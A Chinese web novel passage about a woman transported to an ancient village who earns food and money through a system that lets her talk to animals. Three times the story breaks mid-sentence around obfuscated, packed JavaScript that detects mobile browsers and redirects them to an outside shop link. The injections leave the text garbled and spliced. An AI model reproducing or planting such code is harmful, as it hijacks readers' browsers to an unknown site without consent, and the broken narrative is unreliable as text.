《苏氏动物园经营日常》 1. 什么动物无障碍交流系统? - 隆冬干寒,连日的大雪将村子里的稻田房檐都压的沉甸甸的,一眼望去只白茫一片,看不太真切,又晃人眼睛。 因着接近年关,入冬前农户们早已收完粮,囤着年货为过年做出充足准备,罕见的积雪将路封了不少,村里人户也不大愿意出去受冻,都蜷缩在家里烧得火红的炕上,茶余饭后聊聊闲天度日。 整个村子里,看着稍微落魄一些的便是村西左数第三户人家。 老苏家本日子还算温饱,可前些年老苏走了以后,媳妇刘氏也一病不起,家里除了老大苏卿卿年过十八,其余两个孩子都还处于懵懂的六七岁。 没了劳力,加上刘氏越发病的严重,家中孩子嗷嗷待哺,日子一天比一天难挨。 “咳咳.....咳咳咳!” 一阵急促的咳嗽声在内屋响起,那声音听着揪心,喉咙似乎被咳嗽扯得嘶哑,气息也弱的很。 一个穿着洗的发白粗布短袄的姑娘,慌忙从厨房端了热水进门,她几步走到床榻,将刘氏扶起来:“娘,喝口水,顺顺气。” 刘氏艰难地撑起身体,靠着姑娘的手起来就着她递过来缺了口子的碗喝下一口热水,想是这口水顺了气,她才放松了一些,开口道:“卿卿呐,是娘对不起你,这副身子不争气,倒让你们跟着吃苦了,没让你们姐妹吃饱饭不说,还要来照顾我这个病秧子。” 苏卿卿抿着嘴摇摇头,手顺着刘氏的背,让她好过一些:“别这样说,我已经长大了,现在我来照顾家,您只管好好养病。” 刘氏又咳了两下,艰难的扯起一个笑:“养什么养,我还不知道家中已经没粮了么,左右挨不过这个冬天,也不必去给我抓药了,省着些钱,你跟妹妹买粮吃。” 苏卿卿没有说话,虽然眼前这个人不是自己亲娘,但不知道为什么,听见她这样说,心里泛起一阵阵痛意,鼻头也有些发酸。 她本是二十一世纪生在五星红旗下的大好青年,却因为加班太累打了个盹儿,未曾想一睡不醒,一个月前意外穿越到了这个不知名的朝代。 并且还是天崩开局,家徒四壁不说,没了爹,娘卧病在床,下面还有两个妹妹,堪称上有老下有小。 家中已经无米无粮,更别说娘的药钱,那是更没有,恰逢现在又接近年关,挨家挨户的因为寒冷都没多少人愿意出来,要去县城也要二十几里路,天寒地冻的,路面积雪,更是不好走。 万一遇到暴风雪,说不定就冻在路上了。 苏卿卿暗暗骂了一句老天不公,将刘氏扶着睡下后,想着把前几天在地里挖的红薯拿出来给妹妹煮一煮垫垫肚子,聊胜于无。 谁想她也因为几日未吃饱饭,刚出门脚下虚浮踉跄,咕隆就摔进了雪堆里。苏卿卿皱着鼻子狼狈爬起来,本来就没有吃饭,这一摔更摔的眼冒金星。 忽然,一个机械的声音在苏卿卿脑中响起。 “你好~我是位面派来的系统,你已被选定为宿主,我将帮助你度过愉快的穿越旅程!” 苏卿卿猛然睁大眼睛,紧接着左顾右看连个影子都没发现,心中怀疑起自己是不是摔坏了脑子才产生幻听。谁想她这个想法一冒出来,那机械且带着电流的声音轻快响起。 “不是幻听啦,因为位面传输出了一点问题,所以来迟了一些。” 作为现代青年,看多了小说也知道一些穿越带系统的事,苏卿卿只是略微震惊了一下自己居然也能遇上,接而马上一阵幸喜。以往看过的小说都是什么随身空间,抽卡系统,直接带着主角走向人生巅峰,对于这些系统的用法也是了然于心,果然机会是留给有准备的人的! 正在苏卿卿美滋滋想着自己的这个系统有什么作用时,系统再度响起。 “宿主绑定的系统为——动物无障碍交流。” “随后将公布系统的用法以及奖励机制。” 啊……? 苏卿卿懵了,什么动物无障碍交流系统?她完全没听过,而且这种莫名其妙的系统在这个古代到底有什么用,能为她带来什么? 系统机械的声音没有再回应,随之而来的是一个系统使用手册浮现在脑海,字大行稀,内容并不复杂。苏卿卿将这个系统使用研究了一会儿后,终于明白了。 她所绑定的这个系统能够跟任何动物无障碍交流,可以倾听它们的声音,并且系统会不定时发布帮助动物的任务,只要她能够完成,就可以在系统位面商城兑换各种各样的奖励,同时还能解锁高等级动物语言。 若帮助一只兔子,可以获得十点商城金币,而商城中一点金币可以兑换一袋大米,或者其他粮食。 若是帮助一头猪,可以获得三十点商城金币,后面还有更多奖励能够直接兑换用于古代的银子。 苏卿卿看着琳琅满目的商品,顿时燃起了生活的希望,就像最初收到工作offer的时候一样! 当即,她便点下一个任务获取,系统很快发布了一条任务。 【隔壁王大婶家的猪绝食三天,改变它绝食现状】——三十点商城金币 …… 苏卿卿来回来去读了两遍,眨巴眨巴眼,犯难了,心说这个猪绝食她哪知道原因?不得看兽医? 可惜,在这古代人命都如草芥,更别说一头畜牲了,哪里有什么兽医。早知道自己大学就应该学动物医学专业。 正在思索时,苏惠惠与苏贤贤拉着手从另一间房里出来,两个姑娘看着不过五六岁,单薄消瘦,明显营养不良的样子。 惠惠两个食指在身前点了点,奶声奶气道:“姐姐,我跟贤贤太饿了,能不能给我们一点吃的?” 这话说的苏卿卿心一下子揪了起来,两个丫头都是她这个身子亲妹妹,而且这一个月接触下来,都十分乖巧懂事,若不是实在饿得厉害了,只怕她们也不想给姐姐添麻烦。 刚刚还在犹豫怎么办的苏卿卿,此时脑子里只有一个想法:管它怎么办,先去隔壁王大婶家看看,若是完不成任务,再不济也得借点粮回来。 “惠惠贤贤,你们去煮一个红薯先垫垫肚子,姐姐这就去王大婶家借点粮。” 她已经有了系统这事肯定不能跟任何人说,索性也不解释,只用这么一个借口遮掩过去。 两个女孩相视而笑,乖巧点头,转身走进厨房。 苏卿卿搓了两下手掌,将身上洗的发白的旧棉袄裹紧了一些,而后深一脚浅一脚踩出雪地往王大婶家里行去。 本不是很远的距离,但因雪天路滑,积雪过厚,苏卿卿足足走了小半个时辰。 当她轻轻敲门时,耳朵鼻子都被冻得通红,手脚也僵硬得紧。 过了半响,王大婶才缓缓开门。 抬头见着苏卿卿时,她略微惊讶:“苏丫头,大清早的是何事啊?可是你娘不好了?” 苏卿卿支支吾吾了一阵,脑子里在想如何跟王大婶说“我是来跟你家猪沟通做心理辅导的”时,王大婶也是个心肠好的,以为是孩子冻木了,赶紧拉着苏卿卿就往屋里走。 “有啥事进屋说,我给你去倒杯热茶暖暖身子。” 苏卿卿忙谢道:“谢谢王大婶。” 刚进屋,苏卿卿就将头撇往左边猪圈处,这户人家养了两只猪,一公一母,就等着来年下点猪仔,再养大卖钱。 她试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091473|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探地走过去,随后趴在猪圈一侧,她尝试着跟那头猪目光交汇,却不想下一秒,她的耳朵里居然传来了声音。 “小丫头,看什么看,没礼貌!” 苏卿卿顿时瞪大了双眼,这么丝滑的吗?系统干得漂亮啊!她果然能够听懂动物的语言了! 而且刚才那声音有点像普通妇女的声音,甚至带着方言口音…… “猪大婶,我可知道你在说什么。” 那头猪转过头,一双绿豆小眼亮了亮,并且还往苏卿卿面前走了几步,同时还发出“哼哼”的猪叫。 “你居然能懂?可你是人类,真能懂我们猪的语言?!” 看来不只是苏卿卿震惊,作为动物同样对这种跨物种的对话感到震惊。 只是这会儿时间不多,待会王大婶就要出来了,若是看见她进门就趴在猪圈上跟一只猪眉来眼去的,难免不让人怀疑居心叵测,对这能卖不少银钱的猪图谋不轨之类的…… “猪大婶,我现在没时间跟你解释,听说你已经绝食好几天了,是什么原因你能告诉我吗?我能够帮你解决问题!” 苏卿卿一脸认真,对于一头猪来讲,它当然没有人类那种九曲心,也想不到那么多,这会儿它也感觉苏卿卿有些神奇,于是就哼哼唧唧道:“我感觉我是怀孕了,最近猪食实在不好吃,我不喜欢吃这些糠,我想吃胡萝卜丁。” “!!!” 原来如此,或许猪大婶也有点孕早期综合征,胃口变化了,而它孕早期,王大婶他们又不是专业兽医,暂时是看不出来的。 苏卿卿笑着马上道:“猪大婶,我一定会帮你转达,明天你应该就能吃到胡萝卜丁。” “如果我明天能吃到胡萝卜丁,我一定会好好感谢你。”猪大婶继续哼哼唧唧。 苏卿卿嘴角微抽,这种感觉实在太过奇妙了,她居然被一只猪给感谢了,难道它要割点肉来给她作为谢礼。 以往她可是个实打实的肉食动物,无肉不欢的那种,可现在她跟动物居然说上了话,甚至还有一种友好朋友的感觉。 让她吃好朋友的肉?苏卿卿一想就感觉不寒而栗,估计就算是马上穿回现代也会大变饮食习惯。 “苏丫头!!快进屋来啊,在院子站着干嘛,待会冻坏了。” 苏卿卿晃了晃脑袋连忙应了一声后跟着人进了屋,心说还是得和人家侃会儿大山,毕竟自己这样冒然前来有些奇怪,总不能直说我是来你家看猪的吧? 她坐下后慢悠悠抿了口热水,立马换上了一副可怜兮兮的脸:“实不相瞒王大婶,我也是没有办法了才来寻你,如今我家已经没有存粮,我娘病着,妹妹们没有吃食,这天寒地冻的,我又不能去城里找工,所以只能厚着脸皮来问你接济一些,等着开春了,我去城里找工后便还你。” 王大婶一听苏卿卿说的这样可怜,于是于心不忍,她作为苏家邻居,哪里不知道苏家情况,她拉过苏卿卿的手,在她手背拍了拍,以作安慰。 “好孩子,你莫急,我待会就去给你装点粮,先把这个冬天捱过了再说,可怜见儿的,这一屋子孩子可怎么办呢。” 说着,王大婶眼眶就红了,苏卿卿挠了挠头有些不好意思,又客套感谢了几句后才将话题扯到正题。 “对了,我刚刚看了一会儿你家猪,我看它神情倦怠,很没有精神,可不是怀孕了?” 王大婶听到这话先是一愣,的确她家那头猪已经绝食好几天了,不见好转反而愈加严重,正不知道该如何是好。 可眼前的姑娘前前后后来了这么多回,可从未关注过那片儿地方。 “你、你怎么知道?” 2. 第一个任务! 苏卿卿也短暂卡壳,灵机一动,又马上答道:“以前我爹在时也养过,那猪也是好几天不吃东西,最后才知道它怀孕,挑嘴呢。” 王大婶听了直挠后脑勺,怎么说自己养猪也有段时日了,感觉好像没听过这种理论,有点奇怪,但仔细想又有点道理。 “要不这样,你明日切些胡萝卜丁在食槽里,看看它吃不吃,反正都是一试。” 见苏卿卿说的这么笃定,王大婶正想问此举缘由,胡萝卜丁和普通饲料的差距有那么大吗。 这话题可不能延展开,苏卿卿极有眼色立马又补了一句:“以前我们家猪不吃饭,后来给加了胡萝卜丁就吃了,您不妨试试,如果没用,只不过损失一些胡萝卜。” 王大婶向门外望去,哼哼的声音断断续续传到耳边,她心一动,点点头应下了。 苏卿卿心里一阵雀跃,今天来这两件事都办的顺利,看来自己遇上系统也算时来运转。 天已大明,晨光如沐,景物清和。 苏卿卿再次从王大婶家中出来时,手里提了一麻袋糙米,嘴里横着小调兴高采烈。 回到家中,她刚将糙米下锅,脑子里的系统机械电流音便适时响起。 “叮!恭喜宿主完成第一个任务,这是你的奖励请查收。” 好快啊,比之前的公司报销流程快百倍,苏卿卿有仪式感地擦了擦手,在脑中打开商城界面一看,果不其然自己余额那里显示了三十点! 立刻用这三十点换取了大米,面粉,素菜和一些鸡蛋。等这些食物换完,可用余额仅剩五点。 好在这么多东西,这个冬天是挨得过了。苏卿卿拿出换来的面粉,立刻和面,准备今天一定要让家人吃点好的。 “哇!姐姐,王大婶居然给了我们这么多东西啊。” 惠惠和贤贤手牵着手出现在厨房,看着摆了一小块地的存粮,也变的开心起来,两张清瘦见骨的小脸上难得有了笑容。 “嗯,王大婶是好人,这下都不会饿肚子了,待会咱们一定要吃的饱饱的。” 孩子们听到这些话高兴极了,立刻操起袖子跟着一起忙里忙外,面粉沾到奶团子似的拳头上分外可爱。 食物已经足够,也暂时不用担心饿肚子的事,今晚苏卿卿做了好些馒头,还特意炒了几个小菜。 一家人开开心心吃完后,她还未来得及将桌子收拾好便猝不及防地接到了第二个任务。 【村口张娃家的狗旺财和村东李大壮家的狗被猎狗户带走了,任务:解救它们】——六十点金币。 一看这条任务后面居然有六十点,苏卿卿差点直接跳到饭桌上。 她之前在商城看到过,若是想要置换银子,最低也是要六十商城金币。现在既然已经有了粮,那么娘的药钱还有修缮房屋便是头等大事。 苏卿卿二话没说,立刻就接下了这个任务。想来在现代也有不少走投无路的人偷人家养犬变卖甚至去涮火锅的,为非作歹,丧尽天良。 时间有限,必须赶在这些偷狗贼下手前将它们成功解救出来。 - 趁着天还未黑,苏卿卿再次出门。 先不说任务不任务的,她现在只想快点将那些可怜的动物救出来! 按照系统的方向提示,一段路过后,苏卿卿很快就找到了偷狗贼藏匿的地方。 只是像她这种不请自来,自是没人欢迎的,而且偷狗贼性质很恶劣,说不定一不高兴把她打一顿,单纯比武力那就太不划算。 想定后,苏卿卿先是假装路过窥探情况。 在她来回走了好几十次时,偷狗贼兄弟中的哥哥终于发现了她,下巴一扬,询问道:“欸,谁啊?在我家门口干什么?!” “大哥,打扰了,敢问能不能借我口水喝,实在太渴了。”苏卿卿见已经被发现,索性也不躲了,装成过路人小心翼翼道。 常德远上下打量了苏卿卿一番,见她只是个瘦弱又可怜的委屈巴巴小姑娘,心底防备减少了有些。 “水倒是有,你随我来吧。” 顺利进了常氏兄弟的院子,迎面一股刺鼻的臭味差点把苏卿卿给冲的个底朝天,她皱紧眉头,拼命压抑住心头恶心,慢慢跟随着进去。 这是很多只狗聚合在一起才会散发的强烈气味,跟着常老大越往屋里走,越觉得这个味道浓烈,参杂着烧焦味与血腥味,令人心下一紧。 刚停下脚步,苏卿卿耳朵里突然多出很多声音,七嘴八舌的。 “有人来了,有人来了,说不定能救我们出去了,我们快些制造点动静出来!” “呜呜不可能,他们兄弟俩可狠了,那个人肯定打不过,没指望。” “哎!你干嘛这么悲观,万一还有万一呢。” 苏卿卿将这些话听进耳朵,扶额摇了摇头,有些好气又有些好笑。 因为同时涌入的那些嘈杂的声音,她已经猜到被常氏兄弟偷的这些狗,不止一只。 苏卿卿抬头看了看天,乌云渐渐转移,将所有光亮都挡住,整个院子都显得阴暗起来。 她又不动声色的朝着侧院的方向瞥了一眼,顿时见到堆成山的脏兮兮草垛混着发黑的积雪。而那些狗说话的声音便是从草垛后传出来的。 - 苏卿卿趁着常德远去屋子拿水的空隙,轻手轻脚的走到了草垛后方,意料之中看到了不少被关在铁笼里的狗。 这些狗的品种各不相同,但大多数都骨瘦嶙峋、没精打采的卷缩在一个小小的铁笼子里,空气里除了一股难闻的异味还有些淡淡的血腥味,显然是有些不听话的狗已经被常家这丧尽天良的两兄弟打伤了! “原来是个小姑娘,那肯定不行了,小姑娘不中用啊。” 这些狗见到了苏卿卿,先是异常激动的吠了两声,随即沮丧道:“这瘦胳膊瘦腿的肯定救不了我们,说不定她就是来卖狗的人。” “她是不是和偷狗贼一伙的?” 汪汪汪汪…… 狗吠声越来越大,苏卿卿唯恐惹来了常德远,忙道:“安静,安静,大家安静一下。我没有恶意,我是来救你们的。” “是我出现了幻觉吗?” “她居然能听懂我们说话?!” “这姑娘看起来人还不错,难道她没说谎?” 七嘴八舌的声音很快又开始了。 “得了吧!人类哪有什么好人?” “就是,长得这么漂亮也不一定是好人的。” 约莫因为狗这种动物比较通人性,对于苏卿卿能听懂它们说话这件事,并没有表现出太大的反应。苏卿卿急于证明自己的好意,视线在狗群里扫了一圈儿,随即道:“请问,村口张娃家的旺财和村东李大壮家的狗在哪儿?” 汪汪! 这句话说完,狗群里顿时传来两声狂吠,苏卿卿顺着声音看过去便见到一条大黑狗和一条小黄狗,想必这便是她这次的任务目标了。 苏卿卿为了取得狗群的信任,想了想道:“大黑,小黄,我和你家主人同村,得知他丢了狗着急,特意来救你们。大家都别慌,我一会想办法打开铁笼放你们出去。” 见状,狗群终于相信了苏卿卿的话。 “这姑娘知道我们的身份,真是来救我们的!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091474|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那常家两兄弟下手可狠了,你一个小姑娘怎么救我们这么多狗?” 这问题也正是苏卿卿担心的,若是她身上有钱,大可以直接给常家两兄弟银钱把这些狗买下来,如今她要怎么在众目睽睽之下放走这么多狗呢? “关你们的铁笼子的钥匙在哪儿?”苏卿卿问道。 狗群回答道:“在常德富腰上挂着,他平时都贴身带着,绝不会轻易取下来。” 这个常德富想必便是常德远的弟弟了。 苏卿卿正想着对策,忽闻一道凶恶的男声在身后响起:“你干什么?!” 她面露惊色回头,便见院子里急匆匆走来一个面容与常德远有几分相似的青年。 “哪儿来的野丫头,什么地方你都敢进?!滚出去。” 常家两兄弟平日里便靠着猎狗发家,经常还会去村里偷狗贩卖,这并不是什么光彩的买卖,所以他们最忌讳有人到家里发现此事。 常德富说罢,直接扯起苏卿卿的手腕便将她向门外拉去。狗群见常德富动了手,顿时吠得更大声了,铁链都快要拴不住,惊动了屋里倒水的常德远。 “怎么回事?”常德远走出屋便见到常德富与苏卿卿拉拉扯扯,蹙着眉询问道。 常德富指着苏卿卿道:“大哥,这野丫头来路不明,站在我们家狗圈门口,肯定别有居心。” 苏卿卿摆了摆手,连忙解释:“常二哥,你误会了……我只是听到有狗的声音,所以跑过去看了一眼。” 常德远也觉得苏卿卿这样的小姑娘构不成什么威胁:“这位姑娘只是路过,想进来讨口水喝,刚刚是我放她进来的,你何必这么紧张。” 闻言,常德富的戒心终于消了下去,放开手道:“原来如此。” “那你喝完水赶快走吧,我们家可不欢迎外人。” 苏卿卿笑了笑说:“明白,打扰两位大哥了。” 她一边接过常德远递过来的水瓢,一边偷偷看向常德富的腰间,果然见到一串显眼的钥匙。 那串钥匙大大小小串在一起也有几十把,又一直挂在常德富的腰间,若想在不惊动这两兄弟的情况下偷过钥匙,想必有些困难。 苏卿卿思索半刻,放下水瓢时心中已经有了主意,轻声说:“常大哥,常二哥,我见你们院里有这么多只狗,便起了心思想买几只回家,不知道你们方不方便给我看看?” “你要买狗?”常德远与常德富对视一眼,纷纷怀疑道。 苏卿卿点点头:“正是。” 常家两兄弟猎狗、偷狗不是什么正经生意,传出去也不大光彩。因此平日里除了一些老主顾很少有人知道他们贩狗。常德远死死地盯着苏卿卿,目露疑惑道:“你买狗回去做什么?” 苏卿卿顶着常德远审视的目光,知道自己这时候绝不能露怯,自然而然道:“实话不相瞒,我一个弱女人独自居住,家里经常进贼,上个月方才丢了一些银钱,我便想买几只强壮的大狗回家看家护院。” “那你准备出多少钱?”常德富听苏卿卿的意思,似是家境不错,连忙急财地问道。 苏卿卿见鱼儿上钩了,笑眯眯地回答:“这样吧,你们带我去狗圈选一选,一只狗我出一两银子如何?” 常德远与常德富没有怀疑苏卿卿的话,反正他们卖给谁都是卖,有人愿意花钱买狗,而且远远高于市场价格,何乐而不为呢? 常德富当即挂上笑脸:“没想到姑娘出手这么阔绰,刚刚是我冒犯了,来,我带你去挑选。” 说罢,常德富便解开了挂在腰间的钥匙,带着苏卿卿朝狗圈方向走去。 3. 一百点商城金币 狗圈的狗群见苏卿卿安然无恙的回来了,顿时摇着毛茸茸的尾巴,仰头叫的更欢了。 常德远皱了皱眉,奇怪道:“这群狗今日怎的这么有活力?” 平日狗群被锁在笼子里,全都是一副半死不活的模样,东西也不怎吃,每次见到常家两兄弟更是龇牙咧嘴、凶恶至极,眼下未免也太反常了。 而常德富心心念念着赚钱,根本没有时间深想这种反常,弯腰搓手,殷勤地转身对着苏卿卿道:“姑娘,你想选那些狗呢?” 苏卿卿的视线扫了一圈,随即指向大狗笼的位置,淡淡道:“就要这几只吧,先放出来我看看,它们听不听话。” 苏卿卿选的都是狗圈里的大狗,有一只甚至还是品种凶恶的藏獒,已经留在这里很久了都没有买主。但因她提前说过买狗是为了看家护院,自然要选强壮的狗,常家两兄弟对此也没有过多怀疑。 常德富掏出钥匙蹲在狗笼子面前,先放出了一只藏獒用绳子套在旁边,然后去放苏卿卿选中的其他狗。 常德远见了那只藏獒凶恶的模样,忽而在心底打了一个寒颤,后退两步转身看向苏卿卿:“姑娘,你确定要这只吗?这可是我们院子里最凶的狗了……你不害怕?” 苏卿卿笑了笑:“不害怕,越凶越好呢。” 说罢,她便蹲到了藏獒犬旁边,伸手摸了摸狗头。 常德远龇牙咧嘴,唯恐这只野性难驯的藏獒直接咬掉苏卿卿的手指,没成想却见藏獒在苏卿卿面前异常温顺,甚至还用毛茸茸的头蹭了蹭她的手背,完全不像一只凶恶的大狗,倒像一只撒娇的大猫。 常德远:…… 很快,苏卿卿选中的所有狗都被放了出来,常德富询问道:“姑娘,你可还满意?满意的话便先把银子结了,这些狗你就能带回家了。” 苏卿卿轻轻拍了拍狗头,笑道:“满意,我当然满意了。” “不过……我可没钱给你们这些偷狗贼!!” 常家两兄弟一怔。 反应过来的常德富厉声道:“野丫头,你说什么呢?你敢耍我们玩?!” 却见苏卿卿眼疾手快的解开了狗绳子,拍了拍这些大狗的头道:“——去,咬他们!” 话音方落,这些凶恶的大狗便像箭一般冲了出去,直接扑到了常家两兄弟身上!! 这些大狗的攻击力本就不低,又被常家两兄弟关了这么久对他们恨之入骨,逮到机会自然使出全力报复偷狗贼!! 一时之间,整个院子里鸡飞狗跳热闹非凡,常家两兄弟被狗群追的东躲西藏、哀叫连连,又急又怕之下还负了好几处伤。 趁此机会,苏卿卿拿了常德富落下的钥匙,便将狗圈里所有的铁笼都打开了,放出了狗群。 狗群得了自由,顿时欢快的摇着尾巴、围着苏卿卿蹭来蹭去。 “终于得救了!!可以回家了!” “我们要好好感谢这位姑娘。” 见状,苏卿卿也觉得很高兴,但还是不忘嘱咐道:“你们以后看见狗贩要机灵些,别再被抓了。” 此时的常德远与常德富全都狼狈极了,身上衣服已经被狗咬的破破烂烂,追逐过程中还不甚摔得鼻青脸肿,伤痕累累。 常德富双手合十,求饶道:“姑娘……姑娘,你放过我们吧。我们再也不敢偷狗了!!” “奇了怪了,”常德远捂着一只受伤的胳膊,垂头丧气道,“这些狗也太听你的话了。” 这两兄弟虽然可恨,但也不能闹出人命。眼看着时辰差不多了,苏卿卿便招呼着狗群停止攻击,她俯身轻声道:“狗是有灵性的动物,更是人类的好朋友,你们这种偷狗贩狗的行为简直丧尽天良。” “以后再也不敢了……”常家两兄弟是真的被咬怕了,连连保证道。 “记住你们说的话。” 苏卿卿任务完成,也不多逗留,她把院门打开放走了这些狗。 大多数狗都认得回家的路,能顺利找到主人,但有两三只瘦弱的狗却是无家可归的流浪狗,若是就这么将它们扔了,恐怕会饿死在这个冬天。 苏卿卿于心不忍,于是将这几只狗带回了家。 幸而家里的弟弟妹妹都很喜欢小动物,见苏卿卿带了几只狗回来,全都围上来看热闹。 “姐姐,你从哪里带回来的小狗啊?好可爱。”惠惠摸了摸柔软的狗毛,高兴道。 苏卿卿笑道:“算是我救助的流浪狗吧,以后我不在家的时候,它们可以陪着你。” 闻言,小狗们欢快的摇了摇尾巴,似是十分赞同。 苏卿卿能听懂动物们说话,而这些小狗本身也很通人性,把它们养在家里,不仅能救助它们,也能让它们帮忙看家护院,照顾两位妹妹,倒是一举多得的好事了。 恰在此时,苏卿卿脑子里的系统机械电流音响起:【叮!恭喜宿主完成解救小动物任务,这是你的奖励请查收!】 没想到任务奖励又这么快到账了。 苏卿卿点开系统商城,弹出来的提示框里果然显示她已经拥有了六十点金币,刚好够她置换一两银子! 一两银子虽然不多,但也是普通人家大半个月的生活费了,苏卿卿想着屋里还卧病在床的娘亲,毫不犹豫的点了兑换。 “明日你们在家乖一些,娘的药要喝完了,我去市集一趟,为娘抓些药回来。”苏卿卿轻声叮嘱着弟弟妹妹。 “阿姐……家里都没什么钱了,连米也是向王大婶借的呢。你怎么有钱去抓药?”惠惠的年龄大一些也最懂事,担忧地看着苏卿卿。 苏卿卿没办法跟妹妹解释靠系统赚了钱的事,毕竟这听起来也太匪夷所思了,只得道:“不用担心,待明日我上市集去找点零活赚钱,抓药不成问题。” 惠惠面露疑惑张嘴还想再说什么,却见苏卿卿转身进了厨房,忙活了起来。 不知是不是跟这些动物达成了交流、成为了朋友的原因,苏卿卿现在看到肉类食品便本能觉得有些反感。不知是幸运还是不幸,苏家本就家徒四壁,没什么食物。 晚饭苏卿卿煮了一锅青菜面,分给了妹妹们,想着明日还要上县城赶集,便早早的回屋休息了。 约莫因为已经暂时解决了生计问题,她这一觉睡得格外香甜。 醒来时天光已经大亮,苏卿卿简单收拾了一番,便朝着村口方向走去。 - 天寒地冻的天气,平日里没什么村民去县城,不过恰逢今日是赶集,官道上的行人也多了起来。苏卿卿深一脚浅一脚的走在雪地里,由于身上的袄子又旧又薄,寒风吹过来不由打了一个寒颤,冷得她跺了跺脚。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091475|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “多可怜的姑娘啊,好想让她来我的车里暖和暖和。” 苏卿卿忽而听到一道声音,回头看去便见身旁停下了一辆牛车。 说话的不是别人,正是她面前拉车的母牛。 “谢谢你的好意,你也是去县城赶集吗?”苏卿卿笑着挥了挥手道。 母牛扬了扬前蹄,有些震惊苏卿卿能听懂它说话,询问道:“我家主人带我去县城里送货……你怎么能听懂我说话?你不是人类吗?” 苏卿卿不好过多解释,只道:“我是人类,不过我能理解动物在说什么。” 母牛似懂非懂,还来不及再说话,便见货车帘子挑开,一个中年妇人探出头来。她见了母牛原地不动,抱怨道:“这牛怎么不动了?今早出门的时候不是刚喂了草吗?” 闻言,这家的男主人也跟着出来查看道:“不会是生病了吧?” “大哥,大姐,你们家牛没有生病,不用担心。”苏卿卿解释道。 妇人这才发现苏卿卿站在一边,眯了眯眼道:“唉哟,你是同村的苏家丫头吧?你也去县城里赶集吗?” 苏家落魄的家境在村里穷出了名,以前原身还挨家挨户求人帮过忙,因此村里不少人都知道她。 苏卿卿笑着点了点头。 “这天寒地冻的你一个小姑娘怎么走着去县城,上来,搭我们的牛车走吧,捎带你一截路。” 苏卿卿尚有些不好意思,旁边的母牛忽然哼了一声,意思是催促苏卿卿快些上牛车。她见牛大婶与同村的村民都这么热情,当即也不好再拒绝,攀身爬上了牛车。 车内果然比外面暖和了许多,苏卿卿搓了搓被冻得通红的脸,与同村大婶闲聊了起来,对方还一直在关心她母亲的病情。 牛车自然比走路快上许多,半响之后,很快便抵达了县城。 苏卿卿道过谢便下了车,她穿越后还没到过县城,因此也找不到医馆的位置,灵机一动之下她就地停下了脚步,蹲下身,用手指拦住了一只忙碌搬运的蚂蚁去路,笑道:“小蚂蚁,打扰一下,你知不知道城里的医馆在哪儿?” 小蚂蚁在苏卿卿的指尖爬来爬去,并不害怕苏卿卿。但它身体太小,说话声音也小,苏卿卿花了好一会才听清楚它在说什么。 “医馆在城西的方向。” 小蚂蚁细声细气道:“你能不能把我放上台阶,我想回我的蚁穴。” 苏卿卿爽快的答应了,又将指尖放到了小蚂蚁指定的位置,见它安全无恙的回到了地面,方才起身道别,朝着医馆方向走去。 这家医馆名为“济民堂”,在县城里也算小有名气,恰逢今日赶集,医馆门口车马云集、人来人往,苏卿卿花了好一会时间才挤进去。 “打扰小哥,我想问抓药要找那个大夫?” 苏卿卿刚从怀里掏出以前的药方,递给医馆的小哥,便忽而听到人群里爆发出一声惊喊。 “让一让!让一让!有人被蛇咬了!!” 苏卿卿闻声看去,只见一个约莫七八岁的小男孩被大人背着冲进来,面色发青,脑门上全是冷汗,脚踝处的伤口还流着鲜血。 这时,动物语言系统的声音再一次响起: 【请宿主立刻找到咬人的毒蛇,为小男孩解开蛇毒】——任务奖励一百点商城金币。 4. 做生意 苏卿卿硬着头皮挤过看热闹的人群,偏瘦小的身形费了好大力才站到最前排。 她低头一看,那男孩正躺在床上皱着眉,脑袋后仰,疼得嘶嘶吸气。 旁边年轻的药师被推搡着上前查看,细看便能察觉出他头上的冷汗都快比病人多,神色为难。 想来也是,长期在这医馆里平日空了偷偷闲,忙了抓抓药,哪里有实操的机会,无从下手,最终还是面色凝重叹了口气。 意思很明显,他无法医治。 什么庸医,这都没办法? 苏卿卿气得撸起袖子。 记得在二十一世纪的时候,她参加公司某次组织的团建。不是游乐场也不是温泉自助,而是大巴车把他们拉到一片山林体验景区,打着要增强员工体质的旗帜让所有人在前一天熬夜加班的前提下又开始野外求生。 …… 当然,这种景区最怕出现恶性新闻,所以安全方面做得还是比较到位,工作人员提前把厚厚一摞注意事项发到每个人手里,说是都读完了的人才能开始活动。 平日长期泡枸杞的苏卿卿非常惜命,堪称查文献一般逐字阅读。 其中有一页有一条写着:如果不慎被蛇咬了,要冷静记住那条蛇的模样,便于解毒的时候明确毒蛇类型。 “大哥,你还记得那蛇长什么样吗?” 